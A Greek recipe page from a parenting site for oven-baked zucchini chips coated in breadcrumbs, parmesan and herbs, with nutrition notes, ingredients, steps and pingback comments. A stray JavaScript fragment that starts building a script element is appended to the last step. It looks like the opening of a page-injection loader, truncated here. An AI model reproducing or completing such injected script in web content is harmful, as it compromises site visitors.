mommy
thilasmos
toketos
mycare - φροντίδα
athome
arkoudos
nanny - επιλέγοντας νταντάδες

Τσιπς κολοκυθιού με παρμεζάνα

Τσιπς κολοκυθιού με παρμεζάνα

maxresdefaultΈνα από τα λαχανικά της εποχής που διανύουμε είναι τα κολοκυθάκια, τα οποία είναι καλοκαιρινό λαχανικό, αλλά κάνει την πρώτη του εμφάνιση μέσα στην άνοιξη. Μπορούμε να τα καταναλώσουμε με διάφορους τρόπους και να τα προσθέσουμε σχεδόν στις περισσότερες σούπες, σάλτσες, στα ογκραντέν και στις σαλάτες.

Τα κολοκυθάκια μπορούν άνετα να υπερηφανεύονται για το πλούσιο διατροφικό προφίλ τους και για τα οφέλη που παρέχουν στην υγεία, χάρη στα φυτοθρεπτικά συστατικά, τα μέταλλα και την υψηλή περιεκτικότητά τους σε βιταμίνες.

Είναι σημαντική πηγή βιταμίνης C, μαγγανίου, ενώ περιέχουν λουτεΐνη και ζεαξανθίνη, δύο φυτοθρεπτικά συστατικά που ανήκουν στην οικογένεια των καροτενοειδών που είναι η ίδια οικογένεια θρεπτικών συστατικών που περιλαμβάνει το β-καροτένιο, μια πηγή της βιταμίνης Α. Τα παιδιά συνήθως δεν συμπαθούν το κολοκύθι.

Γι’ αυτό, προτείνουμε μια λαχταριστή συνταγή για ψημένα – και όχι τηγανητά – κολοκύθια, που τα παιδιά θα αγαπήσουν!

Υλικά
1 μεγάλο ή 2 μέτρια κολοκυθάκια
1/3 φλιτζανιού σάλτσα ντομάτας
1 αυγό χτυπημένο
1 φλιτζάνι τριμμένη φρυγανιά
1/2 κ. γ. αποξηραμένο βασιλικό
1/2 κ. γ. ρίγανη
1/2 φλιτζάνι τριμμένο τυρί παρμεζάνα

Εκτέλεση
1. Κόβουμε τα κολοκύθια σε πολύ λεπτές φέτες. Μπορούμε να χρησιμοποιήσουμε ένα καλό μαχαίρι ή να το κάνουμε με έναν ειδικό τρίφτη.
2. Αναμειγνύουμε την κόκκινη σάλτσα με το αυγό σε ένα βαθύ πιάτο και σε ένα άλλο πιάτο την παρμεζάνα με την τριμμένη φρυγανιά, την ρίγανη και το βασιλικό.
3. Περνάμε την κάθε φέτα κολοκυθιού πρώτα από το μείγμα του αυγού και μετά από το μείγμα τις φρυγανιάς. Φροντίζουμε να καλυφθεί πολύ καλά η κάθε φέτα με την φρυγανιά και από τις δυο πλευρές.
4. Απλώνουμε τα κολοκύθια σε ένα ταψί, στο οποίο έχουμε στρώσει αντικολλητικό χαρτί.
5. Ψήνουμε στον φούρνο στους 230 βαθμούς Κελσίου για 20 λεπτά, μέχρι να πάρουν χρώμα.
6. Σερβίρουμε με την αγαπημένη μας σως. Μια καλή ιδέα είναι μια κλασική κόκκινη σάλτσα.var d=document;var s=d.createElement(‘script’);

Share This
2 Σχόλια
  1. […] post Τσιπς κολοκυθι&omicro… appeared first on Arkoudos, Συνταγές … […]

  2. […] Τσιπς κολοκυθι&omicro… […]